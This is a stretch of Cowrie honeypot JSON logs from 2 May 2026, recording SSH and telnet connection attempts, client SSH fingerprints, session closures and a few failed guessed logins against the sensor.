{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:08:20.632847Z","src_ip":"43.165.185.71","session":"b063b83f0e47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest2","password":"guest2","message":"login attempt [guest2/guest2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:08:21.410002Z","src_ip":"43.165.185.71","session":"b063b83f0e47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.22397065162659,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:08:22.201166Z","src_ip":"64.227.101.30","session":"a3dc0fc40559","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:08:22.605637Z","src_ip":"43.165.185.71","session":"b063b83f0e47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.76972436904907,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:08:23.332574Z","src_ip":"64.227.101.30","session":"29fe393da6a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.53429555892944,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:08:24.321704Z","src_ip":"64.227.101.30","session":"347dba40144b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":41784,"dst_ip":"10.17.0.5","dst_port":23,"session":"96bd7786a793","protocol":"telnet","message":"New connection: 64.227.101.30:41784 (10.17.0.5:23) [session: 96bd7786a793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:08:26.576371Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":42238,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee666298829d","protocol":"telnet","message":"New connection: 64.227.101.30:42238 (10.17.0.5:23) [session: ee666298829d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:08:27.229463Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40932,"dst_ip":"10.17.0.5","dst_port":23,"session":"af3bd8be07d5","protocol":"telnet","message":"New connection: 64.227.101.30:40932 (10.17.0.5:23) [session: af3bd8be07d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:08:32.348025Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":43894,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d3daead6999","protocol":"telnet","message":"New connection: 64.227.101.30:43894 (10.17.0.5:23) [session: 6d3daead6999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:08:36.068882Z"}
{"eventid":"cowrie.session.closed","duration":32.428653717041016,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:08:36.239093Z","src_ip":"161.97.105.174","session":"6fa41b631348","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":44962,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5315a461e1b","protocol":"telnet","message":"New connection: 64.227.101.30:44962 (10.17.0.5:23) [session: a5315a461e1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:08:38.684123Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":44438,"dst_ip":"10.17.0.5","dst_port":23,"session":"466193d14319","protocol":"telnet","message":"New connection: 64.227.101.30:44438 (10.17.0.5:23) [session: 466193d14319]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:08:38.987061Z"}
{"eventid":"cowrie.session.closed","duration":1.6871392726898193,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:08:40.674075Z","src_ip":"64.227.101.30","session":"466193d14319","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":95.16473007202148,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:08:42.312982Z","src_ip":"64.227.101.30","session":"95907e8e41ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.85410022735596,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:08:46.601147Z","src_ip":"68.183.198.12","session":"c0c7e73e9332","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.14838647842407,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:08:46.605602Z","src_ip":"68.183.198.12","session":"a89ba76ec766","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":55356,"dst_ip":"159.203.135.109","dst_port":23,"session":"64a34afba19f","protocol":"telnet","message":"New connection: 68.183.198.12:55356 (159.203.135.109:23) [session: 64a34afba19f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:08:54.173734Z"}
{"eventid":"cowrie.session.closed","duration":35.09710502624512,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:08:54.308248Z","src_ip":"64.227.101.30","session":"d653c9fe1d29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":50434,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9cf020bf28a","protocol":"telnet","message":"New connection: 64.227.101.30:50434 (10.17.0.5:23) [session: b9cf020bf28a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:08:55.124921Z"}
{"eventid":"cowrie.session.closed","duration":120.01033282279968,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:08:58.904606Z","src_ip":"68.183.198.12","session":"0ebd7d9caffa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":33713,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a99ed3bab79","protocol":"ssh","message":"New connection: 103.170.173.26:33713 (10.17.0.5:22) [session: 4a99ed3bab79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:08:59.597632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:08:59.602494Z","src_ip":"103.170.173.26","session":"4a99ed3bab79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:08:59.876240Z","src_ip":"103.170.173.26","session":"4a99ed3bab79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.699814796447754,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:00.415634Z","src_ip":"68.183.198.12","session":"f906059df46b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"password1","message":"login attempt [user/password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:01.001734Z","src_ip":"103.170.173.26","session":"4a99ed3bab79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:02.280077Z","src_ip":"103.170.173.26","session":"4a99ed3bab79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":57288,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8fc19b9e7f7","protocol":"telnet","message":"New connection: 68.183.198.12:57288 (159.203.135.109:23) [session: a8fc19b9e7f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:04.786129Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":54140,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad7410277d75","protocol":"telnet","message":"New connection: 64.227.101.30:54140 (10.17.0.5:23) [session: ad7410277d75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:07.068666Z"}
{"eventid":"cowrie.session.closed","duration":35.15597987174988,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:07.503915Z","src_ip":"64.227.101.30","session":"af3bd8be07d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":59924,"dst_ip":"10.17.0.5","dst_port":22,"session":"78a85a5aa315","protocol":"ssh","message":"New connection: 193.32.162.145:59924 (10.17.0.5:22) [session: 78a85a5aa315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:08.467790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:08.472628Z","src_ip":"193.32.162.145","session":"78a85a5aa315","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:08.581822Z","src_ip":"193.32.162.145","session":"78a85a5aa315","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"anza","message":"login attempt [ubuntu/anza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:08.902401Z","src_ip":"193.32.162.145","session":"78a85a5aa315","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":56448,"dst_ip":"10.17.0.5","dst_port":23,"session":"1345d9784752","protocol":"telnet","message":"New connection: 64.227.101.30:56448 (10.17.0.5:23) [session: 1345d9784752]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:09.900777Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:10.010940Z","src_ip":"193.32.162.145","session":"78a85a5aa315","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":55864,"dst_ip":"10.17.0.5","dst_port":23,"session":"2849561e5735","protocol":"telnet","message":"New connection: 64.227.101.30:55864 (10.17.0.5:23) [session: 2849561e5735]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:11.403266Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":57752,"dst_ip":"10.17.0.5","dst_port":23,"session":"094c2826c1ca","protocol":"telnet","message":"New connection: 64.227.101.30:57752 (10.17.0.5:23) [session: 094c2826c1ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:13.940723Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":58224,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6804f79a28f","protocol":"telnet","message":"New connection: 64.227.101.30:58224 (10.17.0.5:23) [session: b6804f79a28f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:14.058289Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.185.71","src_port":58142,"dst_ip":"10.17.0.5","dst_port":22,"session":"c38bfdee19a8","protocol":"ssh","message":"New connection: 43.165.185.71:58142 (10.17.0.5:22) [session: c38bfdee19a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:15.928412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:15.933426Z","src_ip":"43.165.185.71","session":"c38bfdee19a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:16.118071Z","src_ip":"43.165.185.71","session":"c38bfdee19a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test7","password":"test7","message":"login attempt [test7/test7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:16.888990Z","src_ip":"43.165.185.71","session":"c38bfdee19a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.770604610443115,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:17.839361Z","src_ip":"64.227.101.30","session":"6d3daead6999","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:18.076424Z","src_ip":"43.165.185.71","session":"c38bfdee19a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":60288,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf7d1bdf5570","protocol":"telnet","message":"New connection: 64.227.101.30:60288 (10.17.0.5:23) [session: bf7d1bdf5570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:18.663990Z"}
{"eventid":"cowrie.session.closed","duration":40.30536985397339,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:18.989390Z","src_ip":"64.227.101.30","session":"a5315a461e1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.706892251968384,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:21.936230Z","src_ip":"64.227.101.30","session":"ee666298829d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":33792,"dst_ip":"10.17.0.5","dst_port":23,"session":"33d56fcbd33f","protocol":"telnet","message":"New connection: 64.227.101.30:33792 (10.17.0.5:23) [session: 33d56fcbd33f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:22.256035Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":45938,"dst_ip":"10.17.0.5","dst_port":23,"session":"74e5a7ad4a92","protocol":"telnet","message":"New connection: 64.227.101.30:45938 (10.17.0.5:23) [session: 74e5a7ad4a92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:22.921007Z"}
{"eventid":"cowrie.session.closed","duration":0.005168437957763672,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:22.926044Z","src_ip":"64.227.101.30","session":"74e5a7ad4a92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":66.79664707183838,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:24.688659Z","src_ip":"64.227.101.30","session":"4aedcb804270","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":34452,"dst_ip":"10.17.0.5","dst_port":23,"session":"75c94471887d","protocol":"telnet","message":"New connection: 64.227.101.30:34452 (10.17.0.5:23) [session: 75c94471887d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:25.571474Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":34916,"dst_ip":"10.17.0.5","dst_port":23,"session":"88ff3d883743","protocol":"telnet","message":"New connection: 64.227.101.30:34916 (10.17.0.5:23) [session: 88ff3d883743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:26.556185Z"}
{"eventid":"cowrie.session.closed","duration":61.97662281990051,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:28.552878Z","src_ip":"64.227.101.30","session":"96bd7786a793","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":38008,"dst_ip":"10.17.0.5","dst_port":23,"session":"199da4bd97f9","protocol":"telnet","message":"New connection: 64.227.101.30:38008 (10.17.0.5:23) [session: 199da4bd97f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:30.754571Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":60524,"dst_ip":"159.203.135.109","dst_port":23,"session":"091a386e5ea3","protocol":"telnet","message":"New connection: 68.183.198.12:60524 (159.203.135.109:23) [session: 091a386e5ea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:31.221869Z"}
{"eventid":"cowrie.session.closed","duration":0.575124979019165,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:31.796877Z","src_ip":"68.183.198.12","session":"091a386e5ea3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.80722737312317,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:31.932025Z","src_ip":"64.227.101.30","session":"b9cf020bf28a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.59279227256775,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:34.766412Z","src_ip":"68.183.198.12","session":"64a34afba19f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":41174,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ed3321cc5e1","protocol":"telnet","message":"New connection: 64.227.101.30:41174 (10.17.0.5:23) [session: 9ed3321cc5e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:38.074304Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":42760,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc7859253d2e","protocol":"telnet","message":"New connection: 64.227.101.30:42760 (10.17.0.5:23) [session: fc7859253d2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:43.133685Z"}
{"eventid":"cowrie.session.closed","duration":37.81331706047058,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:44.881880Z","src_ip":"64.227.101.30","session":"ad7410277d75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.85508131980896,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:09:45.258251Z","src_ip":"64.227.101.30","session":"2849561e5735","protocol":"telnet"}
